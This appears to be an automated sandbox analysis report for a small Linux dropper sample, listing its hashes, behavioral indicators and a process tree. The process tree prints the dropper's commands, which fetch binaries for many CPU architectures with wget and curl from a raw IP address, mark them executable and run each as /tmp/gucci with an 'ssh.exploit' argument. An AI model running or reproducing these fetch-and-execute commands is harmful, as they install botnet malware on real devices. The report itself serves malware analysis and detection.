Analysis
-
max time kernel
10s -
max time network
11s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240729-en -
resource tags
arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
28-07-2024 17:02
Static task
static1
Behavioral task
behavioral1
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsel-20240729-en
General
-
Target
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
-
Size
1KB
-
MD5
18d2223535e45636ae395a0ff6f871b2
-
SHA1
1332ef19c7f95476565618fd4657f70b8127fe49
-
SHA256
99bd7484ae2c892b3c45d7a60ab1a13495a7ef6a94c2a59240f32ee2faf938ac
-
SHA512
2e00d77e6a3094ae2ae63968dd303cd3b9cedc34ab8bb1c5fefe1e411efc4569502ed8f15fa7ff40f60a207db5d6203a4110be97894fc905619134ea35b55a48
Malware Config
Signatures
-
Executes dropped EXE 11 IoCs
Processes:
gucciguccigucciguccigucciguccigucciguccigucciguccigucciioc pid process /tmp/gucci 716 gucci /tmp/gucci 722 gucci /tmp/gucci 728 gucci /tmp/gucci 734 gucci /tmp/gucci 740 gucci /tmp/gucci 746 gucci /tmp/gucci 752 gucci /tmp/gucci 758 gucci /tmp/gucci 764 gucci /tmp/gucci 770 gucci /tmp/gucci 776 gucci -
Reads runtime system information 11 IoCs
Reads data from /proc virtual filesystem.
Processes:
curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118description ioc process File opened for modification /tmp/gucci 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Processes
-
/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes118/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes1181⤵
- Writes file to tmp directory
PID:707 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm2⤵PID:708
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm2⤵
- Reads runtime system information
PID:713 -
/bin/catcat arm2⤵PID:714
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:715
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:716 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm52⤵PID:718
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm52⤵
- Reads runtime system information
PID:719 -
/bin/catcat arm52⤵PID:720
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:721
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:722 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm62⤵PID:724
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm62⤵
- Reads runtime system information
PID:725 -
/bin/catcat arm62⤵PID:726
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:727
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:728 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm72⤵PID:730
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm72⤵
- Reads runtime system information
PID:731 -
/bin/catcat arm72⤵PID:732
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:733
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:734 -
/usr/bin/wgetwget http://192.3.122.100/bins/m68k2⤵PID:736
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/m68k2⤵
- Reads runtime system information
PID:737 -
/bin/catcat m68k2⤵PID:738
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:739
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:740 -
/usr/bin/wgetwget http://192.3.122.100/bins/mips2⤵PID:742
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mips2⤵
- Reads runtime system information
PID:743 -
/bin/catcat mips2⤵PID:744
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:745
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:746 -
/usr/bin/wgetwget http://192.3.122.100/bins/mpsl2⤵PID:748
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mpsl2⤵
- Reads runtime system information
PID:749 -
/bin/catcat mpsl2⤵PID:750
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:751
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:752 -
/usr/bin/wgetwget http://192.3.122.100/bins/ppc2⤵PID:754
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/ppc2⤵
- Reads runtime system information
PID:755 -
/bin/catcat ppc2⤵PID:756
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:757
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:758 -
/usr/bin/wgetwget http://192.3.122.100/bins/sh42⤵PID:760
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/sh42⤵
- Reads runtime system information
PID:761 -
/bin/catcat sh42⤵PID:762
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:763
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:764 -
/usr/bin/wgetwget http://192.3.122.100/bins/spc2⤵PID:766
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/spc2⤵
- Reads runtime system information
PID:767 -
/bin/catcat spc2⤵PID:768
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:769
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:770 -
/usr/bin/wgetwget http://192.3.122.100/bins/x862⤵PID:772
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/x862⤵
- Reads runtime system information
PID:773 -
/bin/catcat x862⤵PID:774
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-FDJJaY2⤵PID:775
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:776